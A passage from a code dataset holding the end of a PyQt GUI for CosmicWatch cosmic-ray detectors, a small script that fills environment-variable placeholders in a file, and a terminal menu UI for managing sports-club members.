date.setText(QDate.currentDate().toString(Qt.DefaultLocaleShortDate))\n date.setFont(QFont('Helvetica', 15))\n #date.setStyleSheet(\"border: 1px solid gray; border-radius: 3px;\")\n\n #testing\n time_layout = QVBoxLayout()\n time_layout.addWidget(date)\n time_layout.addWidget(NICA_logo)\n\n first_row = QHBoxLayout()\n\n first_row.addWidget(NCBJ_logo)\n first_row.addWidget(WUT_logo)\n #first_row.addWidget(NICA_logo)\n first_row.addStretch()\n first_row.addWidget(title)\n first_row.addStretch()\n #first_row.addWidget(date)\n first_row.addLayout(time_layout)\n\n title.setAlignment(Qt.AlignCenter)\n\n return first_row\n\n def set_up_detectors(self):\n '''\n Fills \"detectors\" list with CosmicWatch class objects. Only supports 2 detector.\n '''\n distance, angle, com1, com2 = self.read_inputs()\n self.angle = angle\n self.distance = distance\n\n # temporary; TODO adjust to make using more detectors possible\n # TODO: connecting all detectors as master, without audio cable and then doing the coincidence mode in the program\n # TODO: would allow for more detectors working in the cooincidence mode at the same time, also doesnt require audio jack\n\n if com1 != '':\n Albert = CosmicWatch()\n Albert.port_name = com1\n Albert.row = 0\n self.detectors.append(Albert)\n Albert.table_updater.connect(lambda: self.modify_table(Albert))\n Albert.chart_initializer.connect(lambda: self.add_live_chart(Albert))\n\n if com2 != '':\n Bernard = CosmicWatch()\n Bernard.port_name = com2\n Bernard.row = 1\n self.detectors.append(Bernard)\n Bernard.table_updater.connect(lambda: self.modify_table(Bernard))\n Bernard.chart_initializer.connect(lambda: self.add_live_chart(Bernard))\n\n for detector in self.detectors:\n detector.masterGUI = self\n detector.directory = self.directory\n detector.angle = angle\n detector.distance = distance\n\n def start_detectors(self):\n '''\n Starts detectors (CosmicWatch class). Enables pause button.\n '''\n self.reset_info_panel()\n try:\n self.validate_input()\n except:\n return\n try:\n self.set_up_detectors()\n except:\n self.warning_info_panel('ERROR: Detector initialization failed.')\n self.info_panel.setText('Start successful.')\n\n self.data_table.setRowCount(len(self.detectors))\n # disable start\n self.start.setDown(True)\n self.start.setEnabled(False)\n self.pause_button.setDown(False)\n self.pause_button.setEnabled(True)\n self.pause_deadtime_seconds = 0\n self.paused = False\n\n self.time_start = datetime.datetime.now(datetime.timezone.utc)\n\n try: self.create_log_file() #TUTEJ\n except: pass\n\n for detector in self.detectors:\n time.sleep(0.2) # To force detector2 into slave mode by initializing master earlier\n # Thread(target=detector.start_program()).start()\n detector.time_start = self.time_start\n detector.start_program()\n\n def add_live_chart(self, detector):\n '''\n Opens live chart showing detector data\n :param detector: detector of wchich data will be displayed\n '''\n chart = Chart_Window(detector.mode, detector, True, False, self, len(self.charts))\n self.charts.append(chart) # it has to be referenced not to be deleted by garbage collector\n\n def show_live_charts(self):\n '''\n Opens live charts of all detectors by calling self.add_live_chart()\n '''\n self.update_info_panel('\"Show live charts\" button pressed.')\n for detector in self.detectors:\n self.add_live_chart(detector)\n\n def validate_input(self):\n '''\n User input validation. Raises predicted errors and displays them on info panel.\n '''\n if str(self.distance_input.text()) == '' or str(self.angle_input.currentText()) == '':\n self.warning_info_panel('ERROR: Please fill distance and angle boxes.')\n raise InvalidInputError\n\n if str(self.distance_input.text())[0] == '-':\n self.warning_info_panel('ERROR: Distance negative.')\n raise InvalidInputError\n\n if str(self.COM1.currentText()) == '' and str(self.COM2.currentText()) == '':\n self.warning_info_panel('ERROR: No serial [COM] ports were selected.')\n raise InvalidCOMError\n\n if str(self.COM1.currentText()) == str(self.COM2.currentText()):\n self.warning_info_panel('ERROR: One port cannot be selected twice.')\n raise InvalidCOMError\n\n if str(self.distance_input.text())[0] == '0' and len(str(self.distance_input.text())) > 1:\n self.warning_info_panel('ERROR: First digit of the distance is 0.')\n raise InvalidInputError\n\n def read_inputs(self):\n '''\n Reads data given by user.\n :return: distance, angle, com1, com2 <- strings\n '''\n distance = str(self.distance_input.text())\n angle = str(self.angle_input.currentText())\n com1 = str(self.COM1.currentText())\n com2 = str(self.COM2.currentText())\n return distance, angle, com1, com2\n\n def stop_detectors(self):\n '''\n Stops detectors (CosmicWatch class). Disables pause and resume buttons. Sets self.paused to False.\n '''\n self.update_log('\"Stop\" button pressed')\n for detector in self.detectors:\n detector.stop_program()\n self.detectors.clear()\n self.start.setDown(False)\n self.start.setEnabled(True)\n\n self.resume_button.setDown(True)\n self.resume_button.setEnabled(False)\n self.pause_button.setDown(True)\n self.pause_button.setEnabled(False)\n self.paused = False\n\n def init_table(self, detector):\n '''\n Initializes table row for given detector\n :param detector: CosmicWatch() class\n :return:\n '''\n row = detector.row\n self.data_table.setItem(row, 0, QTableWidgetItem(detector.device_id))\n self.data_table.setItem(row, 1, QTableWidgetItem(detector.mode))\n self.data_table.setItem(row, 2, QTableWidgetItem(detector.amplitude))\n self.data_table.setItem(row, 3, QTableWidgetItem(detector.time))\n self.data_table.setItem(row, 4, QTableWidgetItem(detector.rate))\n self.data_table.setItem(row, 5, QTableWidgetItem(detector.rate_error))\n self.data_table.setItem(row, 6, QTableWidgetItem(detector.number))\n\n self.format_table(row)\n\n def modify_table(self, detector):\n '''\n Updates table row of given detector.\n :param detector:\n :return: CosmicWatch() class\n '''\n row = detector.row\n\n self.data_table.setItem(row, 0, QTableWidgetItem(detector.device_id))\n self.data_table.setItem(row, 1, QTableWidgetItem(detector.mode))\n self.data_table.setItem(row, 2, QTableWidgetItem(detector.amplitude))\n self.data_table.setItem(row, 3, QTableWidgetItem(detector.time))\n self.data_table.setItem(row, 4, QTableWidgetItem(detector.rate))\n self.data_table.setItem(row, 5, QTableWidgetItem(detector.rate_error))\n self.data_table.setItem(row, 6, QTableWidgetItem(detector.number))\n # self.data_table.item(row, 0).setText(str(detector.device_id))\n # self.data_table.item(row, 1).setText(str(detector.mode))\n # self.data_table.item(row, 2).setText(str(detector.amplitude))\n # self.data_table.item(row, 3).setText(str(detector.time))\n # self.data_table.item(row, 4).setText(str(detector.rate))\n # self.data_table.item(row, 5).setText(str(detector.rate_error))\n # self.data_table.item(row, 6).setText(str(detector.number))\n\n try:\n self.format_table(row)\n except:\n pass\n\n def format_table(self, row):\n '''\n Format table row.\n :param row: int\n :return:\n '''\n\n # Center Text\n for column in range(1, self.data_table.columnCount(), 1):\n item = self.data_table.item(row, column)\n item.setTextAlignment(Qt.AlignCenter)\n # Color background\n for column in range(self.data_table.columnCount()):\n item = self.data_table.item(row, column)\n if row% 2 == 1:\n item.setBackground(self.odd_rgb)\n else:\n item.setBackground(self.even_rgb)\n pass\n\n def display_ports(self):\n '''\n Resets self.port_list and refills it with detected ports.\n '''\n self.reset_info_panel()\n self.port_list = []\n\n ports = serial.tools.list_ports.comports()\n port_names = ''\n for port in ports:\n port_names += ' ' + port.device + ','\n self.port_list.append(port.device)\n if port_names == '':\n message = 'No COM ports detected.'\n else:\n message = 'Detected ports:' + port_names\n message = message [:-1]\n message += '.'\n self.fill_com_combobox(self.COM1)\n self.fill_com_combobox(self.COM2)\n self.update_info_panel(message)\n\n\nclass Chart_Window(QWidget):\n '''\n Secondary window displaying chart. Can run StaticChart or AnimatedChart.\n :param mode = Title of window or chart.\n :param detector = CosmicWatch() class or FakeCosmicWatch() class. It must have attributes used by charts.\n :param animated = bool\n :param multiple = bool\n :param masterGUI = GUIControl() class, the master GUI\n :param chart_list_index = int, index of this window on chart_list of GUI. Used for memory clearing.\n '''\n\n chart_updater = pyqtSignal() # signal used to update chart on button change\n\n color_dict = {\n 'Blue': '#31B3E8',\n 'Red': '#ff0000',\n 'Black': '#000000',\n 'Violet': '#ee82ee',\n 'Green': '#228b22',\n 'Brown': '#a52a3a',\n 'Chocolate': '#d2691e',\n 'Orange': '#ffa500'\n }\n\n def __init__(self, mode, detector, animated, multiple, masterGUI, chart_list_index):\n super().__init__()\n self.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n\n self.data_pack_list = []\n self.masterGUI = masterGUI\n self.multiple = multiple\n self.chart_list_index = chart_list_index\n layout = QVBoxLayout()\n self.setLayout(layout)\n\n\n if multiple == True:\n self.setWindowTitle(mode)\n #self.myFig = MultipleChart(mode, self, self.chart_updater)\n self.myFig = RatesChart(mode, self, self.chart_updater)\n elif animated == False:\n self.setWindowTitle(mode)\n self.myFig = StaticChart(mode, detector, self.chart_updater)\n else:\n self.setWindowTitle(mode + ' [Online]')\n self.myFig = AnimatedChart(mode, detector)\n\n toolbar = NavigationToolbar(self.myFig, self)\n layout.addWidget(toolbar)\n layout.addWidget(self.myFig)\n\n if multiple == True:\n buttons = self.create_buttons_rates()\n else:\n buttons = self.create_buttons()\n\n layout.addLayout(buttons)\n\n self.setStyleSheet('background-color: #f7f9d4')\n self.show()\n\n def create_buttons_rates(self):\n '''\n Creates radio buttons\n Scales: linear vs log\n Xscale: distance vs angle\n Bars: empty vs filled\n '''\n #.adc = x scale unit\n\n # button settings\n buttons = QGridLayout()\n scales = QButtonGroup(self)\n values = QButtonGroup(self)\n buttons.setAlignment(Qt.AlignHCenter)\n\n linear_scale = QRadioButton('Linear scale')\n linear_scale.log = False\n linear_scale.setChecked(True)\n linear_scale.toggled.connect(self.change_scale)\n scales.addButton(linear_scale)\n buttons.addWidget(linear_scale, 1, 0)\n\n log_scale = QRadioButton('Log scale')\n log_scale.log = True\n log_scale.toggled.connect(self.change_scale)\n scales.addButton(log_scale)\n buttons.addWidget(log_scale, 0, 0)\n\n distance_values = QRadioButton('Compare distances')\n distance_values.adc = True # x axis distance\n distance_values.xlabel = 'Distance [cm]'\n distance_values.toggled.connect(self.change_values)\n values.addButton(distance_values)\n buttons.addWidget(distance_values, 0, 1)\n\n angle_values = QRadioButton('Compare angles')\n angle_values.adc = False # x axis = angle\n angle_values.xlabel = 'Angle [deg]'\n angle_values.toggled.connect(self.change_values)\n angle_values.setChecked(True)\n values.addButton(angle_values)\n buttons.addWidget(angle_values, 1, 1)\n\n add_chart_button = QPushButton('Add graph')\n add_chart_button.clicked.connect(self.add_chart)\n\n edit_chart_button = QPushButton('Edit graph')\n edit_chart_button.clicked.connect(self.edit_chart)\n\n buttons.addWidget(add_chart_button, 1, 3)\n buttons.addWidget(edit_chart_button, 0, 3)\n\n return buttons\n\n def create_buttons(self):\n '''\n Creates radio buttons\n Scales: linear vs log\n Xscale: amplitudes vs adc\n Bars: empty vs filled\n '''\n # button settings\n buttons = QGridLayout()\n scales = QButtonGroup(self)\n values = QButtonGroup(self)\n buttons.setAlignment(Qt.AlignHCenter)\n\n linear_scale = QRadioButton('Linear scale')\n linear_scale.log = False\n linear_scale.setChecked(True)\n linear_scale.toggled.connect(self.change_scale)\n scales.addButton(linear_scale)\n buttons.addWidget(linear_scale, 1, 0)\n\n log_scale = QRadioButton('Log scale')\n log_scale.log = True\n log_scale.toggled.connect(self.change_scale)\n scales.addButton(log_scale)\n buttons.addWidget(log_scale, 0, 0)\n\n digital_values = QRadioButton('Digital values')\n digital_values.adc = True\n digital_values.xlabel = 'ADC [0-1023]'\n digital_values.toggled.connect(self.change_values)\n values.addButton(digital_values)\n buttons.addWidget(digital_values, 0, 1)\n\n analog_values = QRadioButton('Analog amplitudes')\n analog_values.adc = False\n analog_values.xlabel = 'Amplitude [mV]'\n analog_values.toggled.connect(self.change_values)\n analog_values.setChecked(True)\n values.addButton(analog_values)\n buttons.addWidget(analog_values, 1, 1)\n\n filling = QButtonGroup()\n\n filled = QRadioButton('Bars filled')\n filled.fill = 'stepfilled'\n filled.toggled.connect(self.change_fill)\n filling.addButton(filled)\n buttons.addWidget(filled, 0, 2)\n\n empty = QRadioButton('Bars empty')\n empty.fill = 'step'\n empty.setChecked(True)\n empty.toggled.connect(self.change_fill)\n filling.addButton(empty)\n buttons.addWidget(empty, 1, 2)\n\n if self.multiple == False:\n color_box = QComboBox()\n color_list = sorted(self.color_dict.keys())\n for color in color_list:\n color_box.addItem(color)\n color_box.setCurrentIndex(1)\n color_box.currentIndexChanged.connect(self.change_color)\n buttons.addWidget(color_box, 1, 3)\n\n color_label = QLabel()\n color_label.setText('Color selection:')\n buttons.addWidget(color_label, 0, 3)\n else:\n add_chart_button = QPushButton('Add graph')\n add_chart_button.clicked.connect(self.add_chart)\n\n edit_chart_button = QPushButton('Edit graph')\n edit_chart_button.clicked.connect(self.edit_chart)\n\n buttons.addWidget(add_chart_button, 1, 3)\n buttons.addWidget(edit_chart_button, 0, 3)\n\n return buttons\n\n def add_chart(self):\n '''\n Opens dialog box for file select of .txt and .csv and saves it full path to self.file_path.\n Opens selected .txt or .csv file as chart. Requires empty line after header or no header (raw data).\n '''\n open_file = QFileDialog.getOpenFileName(self, 'Open measurements file', '', 'Text files (*.txt *.csv)')\n file_path = open_file[0]\n if file_path == '':\n self.masterGUI.update_info_panel('No file was selected.')\n else:\n self.masterGUI.update_info_panel('Selected file: ' + file_path)\n #Opens selected .txt or .csv file as chart. Requires empty line after header or no header (raw data).\n try:\n data_pack = self.masterGUI.prepare_data(file_path)\n self.data_pack_list.append(data_pack)\n except Exception as DataReadingError:\n self.masterGUI.warning_info_panel('Data reading failed. Error: ' + repr(DataReadingError))\n self.chart_updater.emit()\n\n def edit_chart(self):\n pass\n\n def change_scale(self):\n button = self.sender()\n if button.isChecked():\n self.myFig.log = button.log\n self.chart_updater.emit()\n\n def change_values(self):\n button = self.sender()\n if button.isChecked():\n self.myFig.adc_mode = button.adc\n self.myFig.xlabel = button.xlabel\n self.chart_updater.emit()\n\n def change_fill(self):\n button = self.sender()\n if button.isChecked():\n self.myFig.fill = button.fill\n self.chart_updater.emit()\n\n def change_color(self):\n box = self.sender()\n color = box.currentText()\n self.myFig.color = self.color_dict[color]\n self.chart_updater.emit()\n\n def closeEvent(self, event):\n '''\n On window closing delete references to this window from masterGUI.charts to let it be handled by garbage collector\n :return:\n '''\n # Chart closed\n self.masterGUI.charts.remove(self)\n\nclass AnimatedChart(FigureCanvas, anim.FuncAnimation):\n '''\n Animated Chart\n :param mode -> see class ChartWindow\n :param detector -> see class ChartWindow\n '''\n #stopped = False\n log = False\n\n def __init__(self, mode, detector) -> None:\n FigureCanvas.__init__(self, mpl_fig.Figure())\n self.mode = mode\n self.detector = detector\n\n self.log = False\n self.fill = 'step'\n self.xlabel = 'Amplitude [mV]'\n self.adc_mode = False\n self.color = '#31B3E8'\n self.adc_bin = 128\n self.amplitude_bin = 60\n\n self.axes = self.figure.subplots()\n self.figure.set_facecolor('#f7f9d4')\n self.axes.set_facecolor('#f7f9d4')\n\n self.axes.set_ylabel('Number of detections')\n self.axes.set_xlabel(self.xlabel)\n self.axes.set_title(self.mode + ' histogram')\n\n if self.adc_mode == False:\n self.chart = self.axes.hist(self.detector.amplitudes_list, bins=self.amplitude_bin, color = self.color, histtype = self.fill, log = True)\n else:\n self.chart = self.axes.hist(self.detector.adc_list, bins=self.adc_bin, color= self.color, histtype=self.fill, log= True)\n\n self.draw()\n self.animation = anim.FuncAnimation.__init__(self, self.figure, self.update_chart, interval=1000)\n\n def update_chart(self, i):\n self.axes.clear()\n\n if self.log == True:\n self.adc_binb = 128\n self.amplitude_bin = 60\n self.axes.set_xscale(\"log\")\n else:\n self.adc_bin = 128\n self.amplitude_bin = 60\n self.axes.set_xscale(\"linear\")\n\n if self.adc_mode == False:\n self.chart = self.axes.hist(self.detector.amplitudes_list, bins=self.amplitude_bin, color = self.color, histtype = self.fill, log = True)\n else:\n self.chart = self.axes.hist(self.detector.adc_list, bins=self.adc_bin, color= self.color, histtype=self.fill, log= True)\n\n self.axes.set_ylabel('Number of detections')\n self.axes.set_xlabel(self.xlabel)\n self.axes.set_title(self.mode + ' histogram')\n\n return self.chart\n\nclass StaticChart(FigureCanvas):\n '''\n Static chart\n :param mode -> see class ChartWindow\n :param CosmicWatch -> see class ChartWindow\n :param chart_updater -> see class ChartWindow\n '''\n\n # lists used as data references for chart\n adc_list = []\n amplitudes_list = []\n\n def __init__(self, mode, CosmicWatch, chart_updater) -> None:\n FigureCanvas.__init__(self, mpl_fig.Figure())\n self.mode = mode\n chart_updater.connect(self.update_chart)\n\n self.log = False\n self.fill = 'step'\n self.xlabel = 'Amplitude [mV]'\n self.adc_mode = False\n self.color = '#31B3E8'\n\n self.adc_bin = 128\n self.amplitude_bin = 60\n\n self.amplitudes_list.clear()\n self.adc_list.clear()\n self.amplitudes = CosmicWatch.amplitudes_list\n self.adc_list = CosmicWatch.adc_list\n\n self.axes = self.figure.subplots()\n self.figure.set_facecolor('#f7f9d4')\n self.axes.set_facecolor('#f7f9d4')\n\n if self.adc_mode == False:\n self.chart = self.axes.hist(self.amplitudes, bins=128, color = self.color, histtype = self.fill, log = True)\n\n else:\n self.chart = self.axes.hist(self.adc_list, bins=128, color= self.color, histtype=self.fill, log= True)\n\n self.draw()\n\n def update_chart(self):\n\n self.axes.clear()\n\n if self.log == True:\n self.adc_bin = 128\n self.amplitude_bin = 60\n self.axes.set_xscale(\"log\")\n else:\n self.adc_bin = 128\n self.amplitude_bin = 60\n self.axes.set_xscale(\"linear\")\n\n if self.adc_mode == False:\n self.chart = self.axes.hist(self.amplitudes, bins=self.amplitude_bin, color = self.color, histtype = self.fill, log = True)\n else:\n self.chart = self.axes.hist(self.adc_list, bins=self.adc_bin, color= self.color, histtype=self.fill, log= True)\n\n self.axes.set_ylabel('Number of detections')\n self.axes.set_xlabel(self.xlabel)\n self.axes.set_title(self.mode + ' histogram')\n\n self.draw()\n\nclass MultipleChart(FigureCanvas):\n '''\n Static chart\n :param mode -> see class ChartWindow\n :param CosmicWatch -> see class ChartWindow\n :param chart_updater -> see class ChartWindow\n '''\n\n # lists used as data references for chart\n adc_list = []\n amplitudes_list = []\n\n def __init__(self, mode, chart_window, chart_updater) -> None:\n FigureCanvas.__init__(self, mpl_fig.Figure())\n self.mode = mode\n chart_updater.connect(self.update_chart)\n self.chart_window = chart_window\n self.color_list = ['Blue', 'Red', 'Black', 'Violet', 'Green', 'Brown', 'Chocolate', 'Orange']\n\n self.log = False\n self.fill = 'step'\n self.xlabel = 'Amplitude [mV]'\n self.adc_mode = False\n self.color = '#31B3E8'\n\n self.adc_bin = 128\n self.amplitude_bin = 60\n\n # self.amplitudes_list.clear()\n # self.adc_list.clear()\n # self.amplitudes = CosmicWatch.amplitudes_list\n # self.adc_list = CosmicWatch.adc_list\n\n self.axes = self.figure.subplots()\n self.figure.set_facecolor('#f7f9d4')\n self.axes.set_facecolor('#f7f9d4')\n #\n # if self.adc_mode == False:\n # self.chart = self.axes.hist(self.amplitudes, bins=128, color = self.color, histtype = self.fill, log = True)\n # else:\n # self.chart = self.axes.hist(self.adc_list, bins=128, color= self.color, histtype=self.fill, log= True)\n\n self.draw()\n\n def update_chart(self):\n\n self.axes.clear()\n\n if self.log:\n self.adc_bin = 128\n self.amplitude_bin = 60\n self.axes.set_xscale(\"log\")\n else:\n self.adc_bin = 128\n self.amplitude_bin = 60\n self.axes.set_xscale(\"linear\")\n\n color_index = 0\n charts = []\n data_pack_list = self.chart_window.data_pack_list\n for pack in data_pack_list:\n print('Graphing number: ' + repr(color_index))\n print(repr(pack))\n if self.adc_mode == False:\n chart = self.axes.hist(pack.amplitudes_list, bins=self.amplitude_bin,\n color = self.chart_window.color_dict[self.color_list[color_index]],\n histtype = self.fill, log = True)\n else:\n chart = self.axes.hist(pack.adc_list, bins=self.adc_bin,\n color= self.chart_window.color_dict[self.color_list[color_index]],\n histtype=self.fill, log= True)\n color_index += 1\n charts.append(chart)\n\n self.axes.set_ylabel('Number of detections')\n self.axes.set_xlabel(self.xlabel)\n self.axes.set_title(self.mode + ' histogram')\n\n self.draw()\n\nclass RatesChart(FigureCanvas):\n '''\n Static chart\n :param mode -> see class ChartWindow\n :param CosmicWatch -> see class ChartWindow\n :param chart_updater -> see class ChartWindow\n '''\n\n # lists used as data references for chart\n distance_list = []\n angle_list = []\n rate_list = []\n\n def __init__(self, mode, chart_window, chart_updater) -> None:\n FigureCanvas.__init__(self, mpl_fig.Figure())\n self.mode = mode\n chart_updater.connect(self.update_chart)\n self.chart_window = chart_window\n\n self.log = False\n self.fill = 'step'\n self.xlabel = 'Distance [cm]'\n self.adc_mode = False\n self.color = '#31B3E8'\n\n self.axes = self.figure.subplots()\n self.figure.set_facecolor('#f7f9d4')\n self.axes.set_facecolor('#f7f9d4')\n\n self.draw()\n\n def update_chart(self):\n\n self.axes.clear()\n\n if self.log == True:\n self.axes.set_xscale(\"log\")\n else:\n self.axes.set_xscale(\"linear\")\n\n color_index = 0\n charts = []\n data_pack_list = self.chart_window.data_pack_list\n self.distance_list = [-1]*len(data_pack_list)\n self.rate_list = [-1]*len(data_pack_list)\n self.angle_list = [-1]*len(data_pack_list)\n\n i = -1\n\n for pack in data_pack_list:\n i+=1\n print('Graphing number: ' + repr(color_index))\n print(repr(pack))\n print(len(data_pack_list))\n\n #self.distance_list[i] = pack.distance\n #self.angle_list[i] = pack.angle\n #\n try:\n self.rate_list[i] = pack.rate\n self.distance_list[i] = pack.distance\n self.angle_list[i] = pack.angle\n\n print(self.distance_list)\n print(self.rate_list)\n\n except Exception as PackError:\n print(repr(PackError))\n #TODO log the error\n\n try:\n distance_list, rate_dist = zip(*sorted(zip(self.distance_list, self.rate_list)))\n angle_list, rate_angle = zip(*sorted(zip(self.angle_list, self.rate_list)))\n\n z_dist = polyfit(self.distance_list, self.rate_list, 1)\n trendline_dist = poly1d(z_dist)\n z_angle = polyfit(self.angle_list, self.rate_list, 1)\n trendline_angle = poly1d(z_angle)\n\n # plot rates\n if self.adc_mode == True: # True -> distance; False -> Angle\n #chart = self.axes.scatter(self.distance_list, self.rate_list)\n chart = self.axes.plot(distance_list, rate_dist, 'bo', linewidth = 1, linestyle = '--')\n print(distance_list)\n self.axes.plot(self.distance_list, trendline_dist, 'r--')\n else:\n chart = self.axes.plot(angle_list, rate_angle, 'bo', linewidth = 1, linestyle = '--')\n self.axes.plot(self.angle_list, trendline_angle, 'r--')\n #TODO hideable trendline and lines [linewidth 0?]\n #TODO fix trendline on >2 points not apperaing and on =2 points mirrored\n charts.append(chart)\n\n except Exception as DrawError:\n print(repr(DrawError))\n #TODO log the error\n\n self.axes.set_ylabel('Rate [N/s]')\n self.axes.set_xlabel(self.xlabel)\n self.axes.set_title(self.mode + ' comparison')\n\n self.draw()\n\n\n\napp = QApplication(sys.argv)\napp.setStyle('Fusion')\na_window = GUIControl()\n\napp.aboutToQuit.connect(a_window.stop_detectors) # on program exit stop detectors\nsys.exit(app.exec_())\n","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":55933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"40474579","text":"# For the given file, finds each environment variable placeholder and replaces\n# it with the value of the variable. Then writes the file to the directory this\n# program was called from.\n\nimport os\nimport re\nimport sys\n\nREGEX = re.compile(\"\\$\\{([a-zA-Z_][a-zA-Z0-9_]*)\\}\")\n\n\ndef get_filename():\n if len(sys.argv) != 2:\n raise LookupError(\"One filename argument must be provided!\")\n else:\n return sys.argv[1]\n\n\ndef read_file(filename):\n with open(filename, \"r\", encoding=\"UTF-8\") as file_object:\n file_content = file_object.read()\n return file_content\n\n\ndef replace_placeholders(file_content):\n updated_content = re.sub(REGEX, get_variable_value, file_content)\n return updated_content\n\n\ndef get_variable_value(match):\n variable_name = match.group(1)\n if variable_name in os.environ:\n return os.environ[variable_name]\n else:\n raise LookupError(\"{} environment variable not found!\".format(variable_name))\n\n\ndef write_file(filename, updated_content):\n filename = os.path.basename(filename)\n with open(filename, \"w\", encoding=\"UTF-8\") as file_object:\n file_object.write(updated_content)\n\n\ndef main():\n filename = get_filename()\n file_content = read_file(filename)\n updated_content = replace_placeholders(file_content)\n write_file(filename, updated_content)\n\n\nmain()\n","sub_path":"infrastructure/replace_envs.py","file_name":"replace_envs.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"201160348","text":"from os import system, name\nfrom time import sleep\nfrom ui.SportUI import SportUI\nimport datetime\n\n\n\nclass MemberUI:\n\n def __init__(self, MemberService, SportService):\n self.member_service = MemberService\n self.sport_service = SportService\n self.sportUi = SportUI(self.member_service, self.sport_service)\n\n def save(self):\n self.member_service.save_members()\n\n def member_menu(self):\n action = ''\n while action != \"b\" and action != \"q\":\n self.print_sentence()\n action = input(\"1. Register new member\\n2. view all members\\n3. Look up a member\\n\").lower()\n if action == \"1\":\n action = self.register_new_member()\n elif action == \"2\":\n action = self.view_all_members()\n elif action == \"3\":\n action =self.look_up_a_member()\n return action\n\n def print_sports(self, group_list, sport_list, text):\n print(text)\n for index, sport_name in enumerate(sport_list):\n print(\"{}.{}\".format(index + 1, sport_name))\n print(\"\\tGroups:\")\n for group in group_list[index]:\n print(\"\\t{}\".format(group[0]), end = \" \")\n if group[1]:\n print(\" -- Member is on waiting list\")\n else:\n print()\n\n def print_member_in_sports(self, member_list, sport_list):\n repeat = \"\"\n for index, sport_name in enumerate(sport_list):\n if repeat != sport_name:\n print(\"{}\".format( sport_name))\n print(\"\\tMembers:\")\n repeat = sport_name\n print(\"\\tID: {}\\n{}\".format(member_list[index][0], member_list[index][1]))\n\n \n def print_members(self, members, text):\n system(\"clear\")\n print(text)\n for member in members:\n print(\"=\"*30)\n print(\"\\tID: {}\\n{}\".format(member[0], member[1]))\n print(\"=\"*30)\n\n def print_sentence(self):\n system(\"clear\")\n print(\"Please Select one, If you want to quit press 'q' to go back press 'b'\")\n print(\"-\"*60)\n \n def action_eaquals_quit(self, action):\n if action == \"q\":\n return action\n return \"\"\n\n def look_up_a_member(self):\n action = \"\"\n while action != \"b\" and action != \"q\" and action != \"n\":\n self.print_sentence()\n print('Look up a member by:')\n action = input(\"1. Name\\n2. Phone\\n3. Email\\n4. Year of birth\\n\").lower()\n member_list = False\n if action == \"1\":\n name = input(\"Name: \")\n member_list = self.member_service.find_member(name, \"name\")\n text = \"Members named {}:\".format(name)\n elif action == \"2\":\n phone = input(\"Phone: \")\n member_list = self.member_service.find_member(phone, \"phone\")\n text = \"Members with phone number {}:\".format(phone)\n elif action == \"3\":\n email = input(\"Email: \")\n member_list = self.member_service.find_member(email, \"email\")\n text = \"Members with email {}:\".format(email)\n elif action == \"4\":\n year = input(\"Year: \")\n member_list = self.member_service.find_member(year, \"year\")\n text = \"Members born {}:\".format(year)\n if member_list:\n self.print_members(member_list, text)\n action = self.allow_actions_with_member(member_list)\n action = input(\"Member not found, do you want to search again? (y/n)\").lower()\n return self.action_eaquals_quit(action)\n\n def check_if_id_is_valid(self, selected_id, member_list):\n inside = False\n try:\n selected_id = int(selected_id)\n except:\n return inside, selected_id, False\n for member in member_list:\n if selected_id == member[0]:\n member = member[1]\n inside = True\n break\n return inside, selected_id, member\n\n def allow_actions_with_member(self, member_list):\n action = ''\n while action != \"b\" and action != \"q\" and action != \"n\":\n if member_list != []:\n selected_id = input(\"Select a member's ID: \")\n inside, selected_id, member = self.check_if_id_is_valid(selected_id, member_list)\n if inside:\n self.print_sentence()\n texti = \"Do you want to:\\n1. Sign {} to a sport\\n2. View all sports for {}\\n3. Delete {} from the system\\n\".format(member.name, member.name, member.name)\n action = input(texti).lower()\n if action == \"1\":\n return self.sportUi.view_all_sports(selected_id, member.birth_year)\n elif action == \"2\":\n while action != \"b\" and action != \"q\" and action != 'n':\n sport_list, group_list = self.member_service.get_all_sports_for_member(selected_id)\n if sport_list != []:\n texti = \"Sports for member {}\".format(selected_id)\n self.print_sports( group_list, sport_list, texti)\n question = input('Do you want remove member from any sport?(y/n)').lower()\n if question == \"y\":\n sport = int(input(\"Select a sport\"))\n try:\n self.member_service.remove_sport_from_member(selected_id, sport_list[sport-1])\n self.sport_service.remove_member_from_selected_sport(selected_id, sport_list[sport-1])\n print(\"Member successfully removed from sport and all groups in that sport\")\n sleep(1)\n except:\n print(\"invalid sport\")\n action = input(\"want to try again?\").lower()\n else:\n action = \"n\"\n else:\n print(\"Member not assigned to any sport!\")\n sleep(1)\n action = \"n\"\n elif action == \"3\":\n sport_list = []\n for sport in self.member_service.members_map[selected_id].sports:\n sport_list.append(self.sport_service.sport_map[sport])\n self.sport_service.remove_member_from_sports(selected_id, sport_list)\n self.member_service.remove_member(selected_id)\n print(\"Member deleted\")\n sleep(2)\n action = \"b\"\n else:\n self.print_sentence\n print(\"Invalid ID!\")\n action = input(\"Try again?\")\n else:\n print(\"No members in system\")\n sleep(1)\n action = \"b\"\n return self.action_eaquals_quit(action)\n\n def view_all_members(self):\n action = ''\n while action != \"b\" and action != \"q\":\n self.print_sentence()\n print('Orderd by:')\n action = input(\"1. Name\\n2. age\\n3. sport\\n\").lower()\n if action == \"1\":\n member_list = self.member_service.get_member_orderd_by_name()\n self.print_members(member_list, \"\")\n action = self.allow_actions_with_member(member_list)\n elif action == \"2\":\n member_list = self.member_service.get_member_orderd_by_year()\n self.print_members(member_list, \"\")\n action = self.allow_actions_with_member(member_list)\n elif action == \"3\":\n member_list, sport_list = self.member_service.get_member_orderd_by_sport()\n self.print_member_in_sports(member_list, sport_list)\n action = self.allow_actions_with_member(member_list)\n return self.action_eaquals_quit(action)\n\n def register_new_member(self):\n name = input(\"Name: \")\n phone = input(\"Phone: \")\n email = input(\"Email: \")\n while True:\n try:\n year = input(\"Year: \")\n self.check_if_year_is_acceptable(year)\n except:\n print(\"please input valid Year\")\n self.member_service.add_member(name, phone, email, year)\n print(\"Member registerd\")\n sleep(2)\n return 'OK'\n\n def check_if_year_is_acceptable(self, year):\n date = datetime.datetime.now()\n year = int(year)\n if year > int(date.year):\n raise IndexError()","sub_path":"ui/MemberUI.py","file_name":"MemberUI.py","file_ext":"py","file_size_in_byte":8970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} 